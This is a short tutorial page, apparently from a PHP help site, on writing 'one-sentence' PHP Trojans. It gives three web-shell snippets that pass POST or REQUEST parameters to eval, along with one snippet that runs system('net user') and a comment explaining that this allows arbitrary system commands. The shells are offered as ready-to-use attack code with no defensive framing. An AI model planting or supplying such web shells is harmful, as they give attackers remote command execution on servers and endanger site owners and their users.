Home > Backend Development > PHP Problem > How to write a php type Trojan horse in one sentence

How to write a php type Trojan horse in one sentence

藏色散人
Release: 2023-02-28 11:50:02
Original
9033 people have browsed it

How to write a php type Trojan horse in one sentence

How to write a one-sentence php type Trojan?

PHP one sentence Trojan

One:

One sentence Trojan about PHP:

<?php
 
 $a=$_POST[&#39;H&#39;];
 eval("$a");//eval会将输入的$a作为php语句执行,因此只要对_赋一定的system命令值,就能够执行系统命令
 
 ?>
Copy after login


Display results:

How to write a php type Trojan horse in one sentence

Two:

A word about PHP Trojans:

<?php
 $string=@$_POST["_"];
 var_dump($string);
echo "<br>";
 eval("system(&#39;net user&#39;);");
 ?>
Copy after login

When the value of POST parameter_ is empty:

How to write a php type Trojan horse in one sentence

When it is not empty:

How to write a php type Trojan horse in one sentence

Three:

Use REQUEST method:

<?php
 @eval($_REQUEST[_]);//什么类型的,如POST,GET均可以接收
 
 ?>
Copy after login

Display result:

GET type:

How to write a php type Trojan horse in one sentence

POST type:

How to write a php type Trojan horse in one sentence

For more PHP related knowledge, please visit PHP Chinese website!

The above is the detailed content of How to write a php type Trojan horse in one sentence. For more information, please follow other related articles on the PHP Chinese website!

Related labels:
php
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template